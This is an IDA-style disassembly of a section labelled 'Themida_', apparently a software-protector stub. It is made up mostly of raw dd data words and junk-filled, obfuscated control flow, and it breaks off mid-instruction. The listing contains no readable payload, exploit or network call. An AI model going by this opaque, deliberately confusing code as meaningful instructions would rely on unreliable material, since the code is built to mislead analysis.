0F0FC3D55h, 8E03B5ADh, 5A1909CCh dd 0A76B043Eh, 80D2B70Fh, 816665C2h, 661D98DFh, 66F50BBBh dd 606F8DBBh, 9ACB8166h, 57BA666Dh, 0C7806193h, 2AB7F96Eh dd 5830Fh, 23B90000h, 0E8126CE8h, 0Fh, 579D3BF0h, 1D3FB9B6h dd 420EDFA2h, 819563D7h, 0AC2771C7h, 5F575A75h, 0F6EDF80h dd 0B70FDBB7h, 66DC8AC6h, 2AF7C181h, 4B1EB81h, 81F8187Eh dd 0E55609C2h, 0BACB8B6Eh, 5AFA939h, 38A0Fh, 0B70F0000h dd 29B866C8h, 81665332h, 5B4563EBh, 0BFD38B66h, 7D747167h dd 0D7A00DB8h, 9E936h, 0C0440000h, 621A92D0h, 0FB3279Eh dd 0B70FCFBFh, 60C78BF7h, 14E8h, 481BF800h, 0FA8AD7B3h dd 7A99F704h, 0C4500B42h, 158FC8DEh, 870F2Fh, 5A000000h dd 0D8B70F61h, 0E61E4BEh, 28F0F68h, 8A000000h, 0E8A0BAD1h dd 840F496Fh, 2, 0CE9FB8Bh, 65000000h, 0C42E6456h, 0F25B92Ch dd 0F836A8FBh, 0BE9h, 2F507C00h, 0CE58EA80h, 0D4CA473h dd 66DE8B66h, 81F77BBAh, 4486A6D7h, 850F75h, 0E8000000h dd 10h, 774FC930h, 4D94F02Dh, 102EF86Ch, 0BF467806h, 14E9h dd 0FA672000h, 0ACE45AFFh, 8B00BF28h, 590DEA6Fh, 0CDBF0BBFh dd 0EDB65A26h, 8ADBCD80h, 0D78166C7h, 13E92BC9h, 0EF000000h dd 3F80CA04h, 9C95D3DAh, 0C6D135CDh, 637B0625h, 74B78559h dd 0DE9h, 0AD2D2200h, 0B582CF10h, 6A659382h, 0CF8177FCh dd 0BD66948h, 81D98B60h, 0A779B3E9h, 0F48A6109h, 0EE96FB0h dd 0AD000000h, 0D8797154h, 9593B2A6h, 402654DCh, 0C38B6610h dd 84F6BABFh, 8F0F6073h, 6, 8F0Fh, 800F0000h, 6, 830Fh dd 0F610000h, 8166D3BFh, 0E97C40C8h, 0Bh, 0CEB098BBh, 6185249Bh dd 52D1EC22h, 0DE9h, 27F57100h, 58C31910h, 0F6FD4A91h dd 6659862Eh, 0F5E23B9h, 83h, 7E900h, 8BC30000h, 90737A60h dd 0D88B6684h, 0FE9F560h, 0EF000000h, 7F3A15C0h, 21F666CDh dd 46834684h, 6661F040h, 0B2AA4BB8h, 14E95778h, 67000000h dd 0E68C8EC3h, 5F41E4C5h, 0D5A99299h, 7E9C5013h, 5F644A4Eh dd 25B8BE66h, 7AFDBE66h, 4C6E26BAh, 5DB96624h, 0DE08050h dd 0F08B6660h, 84C08166h, 816661F3h, 0F8511CBh, 0D8Ah dd 8E900h, 339C0000h, 4B4529B5h, 0B70FC70Ah, 59EF80D2h dd 57FA8B66h, 2850Fh, 61600000h, 8166515Ah, 5E60BCE1h dd 0BA66C78Bh, 12E8205Ah, 41000000h dd 0E5CD9A6h, 0DD5D2141h, 3CD04A32h, 0B3D85C43h, 0EF816667h dd 6658107Ch, 0A1F6C181h, 0EE8h, 0CFC9B000h, 2E7F4525h dd 2C4153ADh, 8ACF7AC4h, 0C18B5AE5h, 6E9h, 0D30F8D00h dd 663B7FF8h, 664359BBh, 0E950FB8Bh, 13h, 577D4FAFh, 446FF16h dd 900E1D33h, 2668DCE9h, 5A15749Ch, 5890Fh, 55BE0000h dd 8A3D8D8Ah, 0EE9F7h, 0F8BE0000h, 0A454CA00h, 23D7025Fh dd 0D87CFEFCh, 71D4D4BAh, 0E2D3BE61h, 0E95251DCh, 12h dd 0E1AF641h, 1A14C917h, 7802C6D4h, 8174F882h, 0E858F8F0h dd 0Ah, 962E8690h, 9A0A4486h, 60595519h, 8C0F8BB0h, 2 dd 0F9616160h, 0E8D3BF0Fh, 6, 6417038Ch, 8166AF19h, 5B60B6E0h dd 3105F181h, 0EF816502h, 3101FB71h, 6E9h, 24090100h, 0E95075C3h dd 14h, 84F0BD4Fh, 9AF3EE67h, 9CDEB088h, 6F7DD7CCh, 97FBECECh dd 0D7D68160h, 616B7BA0h, 9E9h, 0D83F8E00h, 0A946FABCh dd 0F950FBC1h, 840F605Bh, 11h, 0BE8h, 3A125900h, 0A2DFE6B6h dd 0F2378D19h, 6E85Ah, 5B240000h, 3EF53EADh, 615BC38Bh dd 0B453FE8Bh, 66605FBDh, 0B70FC88Bh, 0BF6661C0h, 8E8AD03h dd 9C000000h, 72452653h, 0F9BDEEE9h, 11E95Fh, 0ED3D0000h dd 851EEEB8h, 97690F83h, 9A618DCBh, 0E9145DCEh, 13h, 0D2126155h dd 43B1B73Bh, 1077BC03h, 4C84F789h, 8169006Dh, 715E1BD2h dd 0FB8B6633h, 944EBF52h, 0F583FA7h, 98Ch, 38C0F00h, 80000000h dd 0D7B8FFC4h, 0E90D53F6h, 0Fh, 56502D57h, 0CEE46CD9h dd 0B67C5C87h, 66958040h, 6920C881h, 60C6BF0Fh, 0AE8h dd 54F97200h, 3B6D29EDh, 804AA578h, 605B9AD7h, 60D1BF0Fh dd 0FC616161h, 3850Fh, 8B660000h, 6660F8F9h, 66703EBFh dd 6661CB8Bh, 3ABDCB81h, 0BF0F5360h, 5CB85BF8h, 617ECB1Dh dd 12E9h, 0E0390000h, 0D8C861EBh, 13F18C4Fh, 2BD4F58Ch dd 8A5EA12Eh, 0D98166DEh, 0BF0FE02Ah, 0DB8166CFh, 0BF0FF4DAh dd 6CD081C6h, 0F9078C93h, 0DE9FA8Bh, 14000000h, 176FEE2Bh dd 9FE96530h, 86192DD6h, 12E9h, 96E20D00h, 0ACBC2AA2h dd 4E436640h, 0CE6E66B5h, 52BA19A9h, 0A1CEE281h, 0F592071h dd 8060CAB7h, 890FC7D0h, 4, 1954B966h, 0FBDB561h, 2084h dd 1A880F00h, 0E8000000h, 14h, 3ACC9162h, 0BE62FAA0h, 33DB7313h dd 965BD74Ah, 0E266F1A9h, 8870F59h, 0F000000h, 289h, 66FA8A00h dd 0D084F181h, 0ED2A1B9h, 0C3A7BA5Bh, 11E87664h, 55000000h dd 34E372C7h, 1A0B9CABh, 0AD510C01h, 0B03FF6CCh, 5815D780h dd 48E0Fh, 0B5510000h, 0E86058C3h, 0Bh, 8997E74Ch, 7BC8CA3Ch dd 668E179Dh, 0A6A5EA81h, 0C1BE6659h, 60F96166h, 12E8h dd 1DDE9300h, 0B652650Bh, 34B2C1CEh, 0CCEC4FB8h, 0E8A98C07h dd 0Eh, 0C302D359h, 363D97BBh, 918A7CB0h, 585FBAA4h, 1850Fh dd 61F80000h, 2820Fh, 59560000h, 0B966F78Bh, 0E960FBAEh dd 0Eh, 16B7BA17h, 0A18A2C1Fh, 0B46EAC22h, 0E9535287h dd 6, 0D48F01EFh, 615A76E5h, 58E0Fh, 81660000h, 0BEE1FDD0h dd 74F372D1h, 7E8h, 0A2D8C500h, 0CA611DCCh, 10E9h, 0DD5CF600h dd 0E49939BBh, 5B3B06E5h, 45FE770Ah, 0E8605ADAh, 8, 13389AC3h dd 0FE193505h, 8B0Fh, 60580000h, 0DE8h, 1F0DA800h, 0CB883B5Dh dd 1D41B2DCh, 0E85A9B44h, 13h, 2F65C611h, 0BB2E650Fh, 0A4E1CD10h dd 0FBBF098Ah, 5E79D7F8h, 0B6B96161h, 0F1FCC95h, 287h dd 0FE6B000h, 38Eh, 0D1B70F00h, 7E9h, 20A19800h, 1CB91509h dd 7E9h, 0F851200h, 79A96E5Bh, 0A41F39BAh, 9F99BB24h, 0F88B70D0h dd 0E8FCFB8Bh, 6, 4A2B4047h, 0D981285Fh, 4EFA95E5h, 89DB815Fh dd 0E857A61Bh, 14h, 3EED1340h, 4BD80435h, 0ACDC0DBFh, 34C35560h dd 2FE4FB4Bh, 800Fh, 805B0000h, 0D881AFF1h, 7ABBED8Bh dd 5890Fh, 81660000h, 664708F1h, 820FF18Bh, 3, 66FABF0Fh dd 0F365D381h, 860FF5h, 0B8000000h, 3D840463h, 270FBA66h dd 128A0Fh, 0DE90000h, 0AF000000h, 5019EFF9h, 0DA5F2C62h dd 0D7087073h, 1820F60h, 0F9000000h, 69EB8166h, 0AE96103h dd 5000000h, 0F1E276E7h, 0EADCA3E9h, 0B70FFCDCh, 0B86653CAh dd 8B5941F8h, 3860FDFh, 0F000000h, 860FF8BFh, 6, 8E0Fh dd 14E90000h, 0D1000000h, 0ADC59948h, 0C32B5778h, 2942A032h dd 5CDD6FD4h, 0F372752h, 800FDAB7h, 2, 0BE9CA8Bh, 0EF000000h dd 9CC805ACh, 327FB976h, 0BF0FADA4h, 23CA81FAh, 0B1752526h dd 38C0F2Bh, 80000000h, 810F4BC6h, 0 ; --------------------------------------------------------------------------- sbb ebx, 2D958B86h mov cx, 0F8C3h push edi pusha jmp loc_6073A2 ; --------------------------------------------------------------------------- db 0B1h, 5Eh, 1Dh dd 0F80B2A8Bh, 77D4F147h db 18h, 0BAh ; --------------------------------------------------------------------------- loc_6073A2: ; CODE XREF: Themida_:00607390j mov bl, 49h popa pop ebx movsx ecx, dx movzx ecx, bx pusha sbb esi, 42635B52h jbe loc_6073BF add esi, 1DE30EB3h loc_6073BF: ; CODE XREF: Themida_:006073B3j popa sub cl, 0D6h push ebx pop ebx mov ecx, edi push edi sbb edi, 6D11A079h pop eax push ebx pop ecx jmp loc_6073DC ; --------------------------------------------------------------------------- dw 0CF77h dd 0F7FE9983h ; --------------------------------------------------------------------------- loc_6073DC: ; CODE XREF: Themida_:006073D1j jmp loc_6073EA ; --------------------------------------------------------------------------- push ebx jle short loc_60741F xchg eax, ebx dec esp push edx mov bh, 0BEh scasb loc_6073EA: ; CODE XREF: Themida_:loc_6073DCj call near ptr loc_6073F3+4 adc esi, [esi] db 3Eh dec eax loc_6073F3: ; CODE XREF: Themida_:loc_6073EAp fcomp qword ptr [ecx+0EE86E61h] ; --------------------------------------------------------------------------- db 3 dup(0) dd 1F6C1A3Ch, 0F1080A22h, 6F4817B7h, 0DDB741C1h, 0FF95F5Bh dd 586h, 4E42BA00h, 5E87D63h db 3 dup(0) ; --------------------------------------------------------------------------- loc_60741F: ; CODE XREF: Themida_:006073E2j lds ecx, [esi] dec eax or al, 0CEh mov edx, edi pop ecx mov dl, 29h xor si, 8517h movzx edi, dx jmp loc_60743E ; --------------------------------------------------------------------------- dw 3E99h dd 0CE2D9DC9h db 2Eh, 8Eh ; --------------------------------------------------------------------------- loc_60743E: ; CODE XREF: Themida_:00607431j jns loc_607449 push esi sbb dl, 0C7h pop edi loc_607449: ; CODE XREF: Themida_:loc_60743Ej jmp loc_60745C ; --------------------------------------------------------------------------- dw 0AB97h dd 2DA4B251h, 68E7872Fh, 440D978Bh ; --------------------------------------------------------------------------- loc_60745C: ; CODE XREF: Themida_:loc_607449j pusha mov dx, bx movsx eax, si popa or dh, 0D6h mov dx, di sbb ebx, 6FBE960h pusha mov edi, 605CDE7Eh call near ptr loc_607485+3 cli mov cl, [edi] xchg eax, esi cmc db 26h inc edi fistp word ptr [ebp+7Bh] loc_607485: ; CODE XREF: Themida_:00607476p adc ds:6E997h, cl ; --------------------------------------------------------------------------- db 0 dd 98911600h, 589C34B6h, 0AE961h, 86A90000h, 0F331C625h dd 65D7C4E7h, 14E956h, 0AAAD0000h, 0ACAECF6Ch, 4892FEBAh dd 5C51CD80h, 27CC0C06h, 665A49C1h, 107CE981h, 25D68166h dd 0CDD8B8B8h, 0FF51ECEh, 586h, 0DA816600h, 8B668210h dd 0F6B70FCAh, 0DAB70FFCh, 90C657B8h, 8ADA8B71h, 0F08A51E7h dd 0D881665Eh, 75B2E093h, 0DA8B6660h, 0FC38B60h, 84h, 0F616100h dd 1980h, 14E900h, 0BA800000h, 0CFBB5B6Ah, 386A9907h, 52A4A9C3h dd 0B8B7C3Fh, 5B579FBBh, 0C8BF0F53h, 4890F5Bh, 66000000h dd 0F660ABBh, 0B70FC1B7h, 12E9F8C0h, 0F2000000h, 48722AE0h dd 8CDE20E0h, 84E8CD6h, 594DDB55h, 0FE9F87Fh, 0 dd 6A8BDD6Ch, 8FAF0E62h, 0E71EC012h, 0B866EC89h, 0D3815540h dd 3C0732BAh, 9EABADBBh, 0C78B6631h, 61CF8B60h, 0B840Fh dd 800F0000h, 5, 0B7D78166h, 0CB8160A7h, 3BE2CF33h, 9E9h dd 0C7960100h, 0C65EB8BDh, 51619E64h, 0FCF38166h, 8B665B6Ah dd 0A6B866FBh, 0BAB966A9h, 55BA6631h, 0B8B966B3h, 8E0F602Fh dd 2, 6CB8CA8Bh, 6110D0B1h, 53B5BB66h, 88D0Fh, 850F0000h dd 2, 8E95E51h, 0CC000000h, 0FDE3F1FCh, 0E99BFE55h, 0Ch dd 471274B3h, 1AC5F48Bh, 408C77Bh, 66F7B70Fh, 0F8BBD88Bh dd 8A7D8A32h, 4CEF81CBh, 81540F53h, 0F20B7DC2h, 57605011h dd 0CABF0F5Eh, 8B0F5961h, 10h, 0BE9h, 0E7A49C00h, 283321FFh dd 813C2E0Ch, 0B8B0Fh, 5E80000h, 3E000000h, 6978EFD2h dd 0E9616058h, 6, 96E90A2Dh, 0FE9AC1Fh, 75000000h, 9BBE9AF1h dd 1316E334h, 0B2C4A46Bh, 0BE66DB79h, 0E58ACEA7h, 13E92FB7h dd 0F6000000h, 38F3F449h, 62F659D2h, 979B6F22h, 4BAFCA1Dh dd 0B060D334h, 13E9CFh, 42580000h, 0E5063731h, 55F710h dd 97C62341h, 5595C29Eh, 8E0F61A6h, 1, 0CF8166F5h, 8E0F497Bh dd 8, 2880Fh, 0F3B50000h, 2860F60h, 50000000h, 8B666158h dd 0D0BF0FFBh, 8166C28Bh, 665E6CC2h, 720FF381h, 59E8C2BAh dd 0E9E6B10Eh, 0Dh, 0FFF853CEh, 23E896C8h, 1A6BD9DFh, 0FEB70FE1h dd 0BCEA57BEh, 0FE8B665Fh, 0FA44D881h, 870F10C0h, 4, 8B41BB66h dd 38E0Fh, 8B660000h, 9E960C2h, 4F000000h, 173A7D58h, 993D2055h dd 0FE9h, 998E2600h, 5C92AA93h, 0F2B8E199h, 0E64707EDh dd 0FE961h, 58C60000h, 171D12BAh, 0A28C0A0Eh, 53A13DB8h dd 0D7816695h, 10B53AEFh, 66D2BF0Fh, 66FEF8BBh, 0D981D68Bh dd 68C33402h, 66CF8AF9h, 820FF18Bh, 17h, 12E9h, 0FF56900h dd 9C11D44Bh, 0DCB05669h, 0D8085B61h, 8B37A58Fh, 548B9F8h dd 0BE601E40h, 1A294774h, 59EF8166h, 0D68B61DCh, 0EED88160h dd 6109437Ch, 0C88FA9BFh, 158A0F64h, 0E9000000h, 10h, 4CD976FCh dd 31D20030h, 0F284DDA7h, 2776EC1h, 13E9h, 0C8A54600h dd 0AFBC1B3Ch, 0C4690AADh, 0B6E83361h, 0E48CF4C4h, 0F5EF956h dd 87h, 11E95700h, 0E000000h, 594A5561h, 0AFFAB7FEh, 84685A7Bh dd 0F21B4A1Fh, 63B9665Ah, 0C38B6654h, 6880Fh, 0D9810000h dd 2EC9A15Eh, 6E8E8B6h, 0C4000000h, 1FDF3999h, 14E9607Fh dd 0 dd 33A958ABh, 0D19EC490h, 38437879h, 0A22B3882h, 8008F7EDh dd 596150D6h, 1860Fh, 66FC0000h, 0BF0FF88Bh, 60D78BCBh dd 0D2B70FF8h, 27D88061h, 0FCDA8B66h, 0CE8h, 0DE320900h dd 9259F66Eh, 0F62A3C69h, 12E93Dh, 853E0000h, 8637B1E3h dd 1EDA602Bh, 0DA786A59h, 0FD526206h, 0D18B6658h, 3890Fh dd 8B660000h, 86CB81CBh, 0BB528914h, 3E2B51EFh, 2800F57h dd 0B0000000h, 0D1815EBDh, 5AE78EFFh, 61CE8B60h, 8157DA8Bh dd 66B77AEBh, 0EE8581Ah, 70000000h, 0D8F8A6EEh, 9A05965Fh dd 419F8AEAh, 0C18B66C0h, 0A6D6815Fh, 606EE5E1h, 4850Fh dd 0B8660000h, 6061C043h, 0B5F224BAh, 8A60611Ch, 870FE6h dd 61000000h, 61DA8166h, 71BE6664h, 0FE68AFEh, 68Ch, 800F00h dd 0F000000h, 0BF66F7BFh, 816696B8h, 666810CFh, 1A59D381h dd 0D8D0FF5h, 60000000h, 8A0Fh, 0CCBF0000h, 61379168h dd 8700F181h, 666011E3h, 0D8B0DF81h, 0BC31CB81h, 60617066h dd 66C0BF0Fh, 0F561D98Bh, 0D850E081h, 890F4195h, 1, 6BD480F9h dd 4850Fh, 0BF660000h, 0C58007C7h, 0F08166B2h, 870FAF43h dd 8, 2890Fh, 0C18B0000h, 0C8B0Fh, 810F0000h, 6, 0C5BAE081h dd 0C081497Ch, 26758FE1h, 9E8h, 89441B00h, 0B525BFF3h dd 0E95B3D0Bh, 9, 0B8FE20C0h, 5989BA69h, 9E933h, 49ED0000h dd 74716991h, 0F8002E68h, 5CB3B866h, 0FF8F88Bh, 583h, 0FAB0BB00h dd 81663D74h, 668C60E3h, 0BE9CE8Bh, 0E5000000h, 54332D20h dd 11BB35AFh, 13E88C99h, 0A1000000h, 0BA49A49Eh, 7F6A66E9h dd 0ABE7A0BDh, 75697D81h, 6B90D3Eh, 5975A285h, 16810F51h dd 0E9000000h, 11h, 2EBC8C8Ch, 0CF803AACh, 0AF3F7B72h dd 0AED53236h, 0FF859DAh, 118Bh, 0CE900h, 6D820000h, 256A44E6h dd 5EDB8F2h, 840F846Fh, 4, 0A715BB66h, 0FCD4DC80h, 6E9h dd 0D5639700h, 0F9980E95h, 0D8B966F8h, 0D9BF0F5Dh, 0E9F38B66h dd 0Ch, 7BC0D544h, 40CBAC55h, 91721D8Fh, 57AD41BAh, 6BC08028h dd 13E960h, 0C5D80000h, 0C0D07E66h, 69056FECh, 7443D4ADh dd 0D86677E2h, 0AE80Dh, 0E8180000h, 0EE720825h, 4874610h dd 6158C38Bh, 6E9D78Bh, 5D000000h, 0A43AD8EDh, 0EE8F835h dd 82000000h, 0C2CC99Fh, 8E38EF12h, 24CBB0BBh, 11E96075h dd 0D2000000h, 283D6975h, 0E60869E6h, 9E7C0449h, 0FAEB4399h dd 10E8h, 0F0F99600h, 52AE580h, 0B34B6CE6h, 5EB25388h dd 58615ED8h, 8A61F560h, 0D28166ECh, 0CB8A48Ch, 0F764721h dd 0B89h, 6E900h, 0DBFF0000h, 4B6F92AFh, 76DEC881h, 0BF662018h dd 0DE80901h, 69000000h, 508C00AAh, 0E34AF79Fh, 97554CCCh dd 78BBEF81h, 0B85873C9h, 56C74554h, 814BEF80h, 0DA6147E9h dd 0FAF8BF2Dh, 8166674Ah, 66C360F0h, 327ADA81h, 0C181B0B1h dd 52A253AFh, 0A204E081h, 0C1810E95h, 5D7E473Dh, 80F9FB8Bh dd 0F5273C3h, 380h, 0FABF0F00h, 38F0F5Ah, 66000000h, 0DE8C88Bh dd 4E000000h, 257249CCh, 4B24910Ah, 5B52C88Bh, 628B84BEh dd 0BE505B27h, 2D09160h, 6E95Bh, 0CBFD0000h, 8D8008B3h dd 3830Fh, 8B660000h, 13E9CEh, 0F68C0000h, 0D8D066FFh dd 150F5FC7h, 82C5ACAFh, 43D6D03h, 8328B9A0h, 0BA66449Fh dd 0FE992B4h, 25000000h, 6D3ED502h, 0AFA788Ah, 0C12E0BF0h dd 13E8A192h, 9A000000h, 0C04D20C5h, 496F0043h, 0DD7A4203h dd 0EBECFC79h, 5AF5223Dh, 0A484F181h, 0BF0F3138h, 56E880C8h dd 3860Fh, 0DA800000h, 0EFBE661Bh, 0D4E48006h, 67F28166h dd 8B66F981h, 0DAB8BFC8h, 0DAB37CD9h, 13E9h, 9A7A8100h dd 0C53706E9h, 14ED81BBh, 698B8A5Eh, 0BF8F72FBh, 53DBB70Fh dd 0FE9h, 0DFE6B600h, 378D19A2h, 7A2EA2F2h, 13495F31h dd 0DE958h, 0E8FF0000h, 723B6FC2h, 576B54CFh, 66DD47C4h dd 0BF17C2BEh, 21986A80h, 0BE8h, 0C13CEE00h, 0A9F39310h dd 1E5E4074h, 0BE8h, 0A302F300h, 8163E3EFh, 0B0F705C5h dd 8B0Fh, 5E5E0000h, 0EFDB8166h, 0C7816677h, 14E84D08h dd 92000000h, 4095DF8Fh, 22A0D269h, 6B1D035h, 0BE6DEA4Fh dd 0F5EA584h, 0FC5BD1B7h, 5880Fh, 81660000h, 60825ED1h dd 66D0B70Fh, 613F95BFh, 0FBB70FFCh, 0BFF08B66h, 41943A5h dd 800Fh, 53510000h, 850Fh, 5F5F0000h, 6647F180h, 0F8E5CBFh dd 68Dh, 66D18100h, 0E9468EB0h, 0Fh, 1CA90BE1h, 0F4D7CD56h dd 7FB5B131h, 0E839D1DEh, 14h, 40ABA8F6h, 4DED302Fh, 0A506F7ABh dd 84CD8588h, 0E0D65862h, 850F52h, 5F000000h, 0BF0F605Ah dd 61CF81C3h, 614393AEh, 0C2B966F5h, 0EFF180C5h, 97E0B856h dd 0E85E431Ch, 6, 89DDCAFBh, 6E8B71Ah, 0A9000000h, 0C8BA6E5Ah dd 0F5A5E4Bh, 108Ch, 7E800h, 5B600000h, 1E30AAB9h, 0C9B70F57h dd 46DA815Fh, 8B08E6F8h, 820F51DEh, 6, 840Fh, 0E9580000h dd 9, 252D904h, 0C6A2DA8Ch, 389CBFB0h, 890F68FEh, 4, 0A7B3BF66h dd 10E9CF8Bh, 3B000000h, 9EA435DEh, 662C3B31h, 0C3D2537h dd 0BEA1672Dh, 1DD8F6AFh, 0F98BF5F9h, 0B70FD18Bh, 0EA7ABBFEh dd 0ED801140h, 0D0B70FC9h, 1CE28166h, 5BFC50B2h, 53C68B66h dd 0A46C29BEh, 0C68B5F1Dh, 0BF0F9AB1h, 8BFA8BD6h, 0C0C480FBh dd 0EE9h, 0A6E7B500h, 3D723117h, 0DD662223h, 0BB16CCCDh dd 73316DC9h, 3830Fh, 0DA800000h, 0FE977h, 9F3B0000h, 8E64B6C8h dd 5F335E2Fh, 0E1E94FDBh, 0EB805728h, 0EFBA5F6Fh, 0F68D0F7h dd 382h, 0F2B70F00h, 60E949BBh, 11E86Bh, 0BDDC0000h, 0D8BFB08Fh dd 0EC7A0B3Ch, 0DEC0D249h, 66120AACh, 8F51C781h, 0D7B9F85Eh dd 0E84E86DAh, 9, 6F11992Ch, 0B6329110h, 1870F6Eh, 0FC000000h dd 8B66535Fh, 0B70F59D9h, 0EE8C8h, 0AA170000h, 0AEFD322Eh dd 25AF0472h, 0BA878C65h, 0D08B6660h, 820Fh, 5B610000h dd 60C9BF0Fh, 5661E58Ah, 995A8BB8h, 0A0BB5969h, 5060F154h dd 34F159BBh, 81665B35h, 0E91CE4D1h, 13h, 4E067E24h, 0A564E322h dd 4899957Eh, 43643151h, 0F5B23C4h, 583h, 0EB816600h, 8B518FDAh dd 810F5FF7h, 5, 3CF18166h, 0A8C0FF1h, 0E9000000h, 5, 0D0DFA4D4h dd 19B866BBh, 0E08151AAh, 4D0C1F2Bh, 0F681665Bh, 0BA66CE3Dh dd 8B663ED4h, 11E9C1h, 629D0000h, 0B230CEB7h, 62A14A4Dh dd 0FAB37DD3h, 0B83609B3h, 654E4A49h, 0E556CF81h, 0B70F5698h dd 0D18166F1h, 0B70FB9BBh, 0E08166D1h, 0BF0F65E8h, 0E9F5F9DEh dd 0Bh, 2054D624h, 7BC34202h, 6667E60Eh, 0AAC9D381h, 838DE981h dd 0BF0F1E7Bh, 816060C9h, 8B9099C7h, 4F97BB45h, 0F61367Ah dd 0BB61C8BFh, 41E1BA06h, 158C0Fh, 10E90000h, 74000000h dd 0B43798Ah, 0E66E0E13h, 720D4DC7h, 0FDA2821h, 38Eh, 0F3B70F00h dd 4E6DE81h, 0BB661EC6h, 0BE95862h, 86000000h, 0ACDA5E64h dd 3937AAC6h, 0ACBA655Dh, 0B965C42Ah, 7A2F40C3h, 0F70E180h dd 108Bh, 0BE900h, 80150000h, 82D2E350h, 0F3D338DAh, 0BE969h dd 187D0000h, 0F69DE8A0h, 0F988298Eh, 0F88B6662h, 0BEC3B70Fh dd 17CBB5FAh, 0E8DF8B66h, 14h dd 0E76BC44Bh, 258030CCh, 32771E50h, 5760DEACh, 49584BE3h dd 0F5FF78Bh, 184h, 0B70FFC00h, 88BB66D2h, 0F88B60B6h dd 86C38166h, 0CE961FBh, 14000000h, 1D5EB118h, 0F80B2A8Bh dd 0B9D4F147h, 284994F5h, 68E0Fh, 0C9810000h, 420453AEh dd 0BE9h, 9CBEB500h, 322A20ACh, 0E7A33AA1h, 3890Fh, 0C2800000h dd 0F895B9BDh, 0B8665B78h, 8B66C6DDh, 1ABE66D1h, 0F88B6683h dd 0E9D0BF0Fh, 9, 9A4BB565h, 72EBFBF0h, 8AC68B1Fh, 3DB966C5h dd 0F98B605Ah, 0F61FB8Bh, 28Dh, 0E8F8B400h, 11h, 9E38DF3Ch dd 1D66E2FDh, 0B8E4F603h, 5596AF9Fh, 850F5BD9h, 0Ch, 6820Fh dd 880F0000h, 0 ; --------------------------------------------------------------------------- jmp loc_608108 ; --------------------------------------------------------------------------- db 2Bh, 0E4h, 9Fh dd 0E4D0C23Bh, 0AA2B60A2h, 0E781757Ah ; --------------------------------------------------------------------------- loc_608108: ; CODE XREF: Themida_:006080F4j jmp loc_60811E ; --------------------------------------------------------------------------- db 78h, 8Ch, 28h dd 9FC8CE1Fh, 5E98A9FFh, 7E623A26h ; --------------------------------------------------------------------------- mov ah, 17h loc_60811E: ; CODE XREF: Themida_:loc_608108j call sub_608134 rcl ch, cl ; CODE XREF: Themida_:00608126j into db 66h jno short near ptr loc_608123+1 mov edx, 31B1F5D3h ; --------------------------------------------------------------------------- dw 0E9C4h dd 245D9E98h ; =============== S U B R O U T I N E ======================================= sub_608134 proc near ; CODE XREF: Themida_:loc_60811Ep ; FUNCTION CHUNK AT 006081AE SIZE 0000000D BYTES mov edi, ebx pop edi adc ebx, 4E278E9Dh or esi, 76F468DBh mov edi, 460825FBh xor bl, 5Ch call loc_608162 db 36h rcl dl, 0F1h jns short loc_6081AE test dword ptr [ebp-562AE02Bh], 17FB6C76h sub al, 0C2h sub_608134 endp ; sp-analysis failed loc_608162: ; CODE XREF: sub_608134+17p mov di, 1ACEh pop esi or di, 41B5h mov di, 0CE76h jl loc_60818C jmp loc_60818C ; --------------------------------------------------------------------------- db 0Ch ; --------------------------------------------------------------------------- mov ds:71DF4B38h, al xchg eax, edx xor [edi-4Bh], esp aad 97h cmpsd xchg eax, ebx cmp [edx-42h], dh loc_60818C: ; CODE XREF: Themida_:00608170j ; Themida_:00608176j movzx eax, ax mov ebx, eax mov eax, 250D1445h push esi mov edi, 149F7F91h pop eax push esi jnb near ptr loc_6081B0+2 jmp near ptr loc_6081B0+2 ; --------------------------------------------------------------------------- and al, 1Ch retn ; --------------------------------------------------------------------------- db 2Dh, 0E4h ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_608134 loc_6081AE: ; CODE XREF: sub_608134+20j sub [esi], esi loc_6081B0: ; CODE XREF: Themida_:0060819Ej ; Themida_:006081A4j les esi, [ebx+ebx*2+66h] mov ebx, 0E8F8C14Dh adc al, [eax] ; END OF FUNCTION CHUNK FOR sub_608134 ; --------------------------------------------------------------------------- db 0 dd 9F482700h, 3864987Fh, 0DF407B2Dh, 36A6545Ch, 0FEFC6ABh dd 28Fh, 5F616000h, 9D9A34BBh, 12C28054h, 6E9D38Bh, 70000000h dd 691FB956h, 6DBE66C7h, 6692B60Ah, 0DF44D781h, 11E8h dd 0E162EF00h, 384C4173h, 8E1B06C5h, 129E67B4h, 0F60B4F9h dd 82h, 61616000h, 8B0FF85Bh, 0Ah, 840F60h, 60000000h dd 10E86161h, 12000000h, 9D05EBB4h, 4F3929B1h, 0A75DF367h dd 58470679h, 0FCC08166h, 0E95956EAh, 0Ch, 0CD2E5F20h dd 52C21D1Fh, 1798A89Dh, 0B8F0Fh, 66600000h, 0B85260BAh dd 3B793EA5h, 952CB861h, 840F43C6h, 5, 2281BCBEh, 0E959B63Dh dd 11h, 4682C654h, 0E51EFE1h, 2D29AD1Ch, 1DD64FA2h, 12E973h dd 76030000h, 1AFD46D6h, 0B7ED6243h, 0ADC39C23h, 36AD23D6h dd 0BF18166h, 0D0BF0FEBh, 0CFBF0F60h, 13E9h, 4709E200h dd 0A6D23F48h, 7923C2D4h, 62C5CC8Ah, 23ADFE0Fh, 9E861h dd 97CE0000h, 0AE9575D6h, 6620C59Ah, 6188D081h, 57E28A5Ah dd 6659D18Bh, 7BBFF381h, 4230BB66h, 589EB756h, 6E9h, 9D904200h dd 0F12E9EEh, 8Ch, 0BE900h, 0B1F60000h, 0CD22884Ch, 834B9CEBh dd 69BA6635h, 0F781F979h, 48C449A2h, 8A0FC18Bh, 0 ; --------------------------------------------------------------------------- jmp loc_608337 ; --------------------------------------------------------------------------- db 14h, 56h, 0F5h dd 0F8051CE6h db 0B1h, 0BEh, 0E0h ; --------------------------------------------------------------------------- loc_608337: ; CODE XREF: Themida_:00608328j mov ax, dx jns loc_608346 jbe $+6 loc_608346: ; CODE XREF: Themida_:0060833Aj pusha mov cx, 5514h call sub_60835A rcl byte ptr [ecx+69h], 1 xor esp, ebp into lahf ; --------------------------------------------------------------------------- db 65h db 0FEh, 2Bh ; =============== S U B R O U T I N E ======================================= sub_60835A proc near ; CODE XREF: Themida_:0060834Bp pusha popa pop ebx popa mov ecx, 75EFCF24h jp loc_608375 jmp loc_608375 ; --------------------------------------------------------------------------- dw 0BF0Eh dd 2D8A596h db 0CAh ; --------------------------------------------------------------------------- loc_608375: ; CODE XREF: sub_60835A+9j ; sub_60835A+Fj push eax pop eax jg loc_60838A pusha xor bx, 43DBh jle $+6 popa loc_60838A: ; CODE XREF: sub_60835A+1Dj mov bx, dx jmp 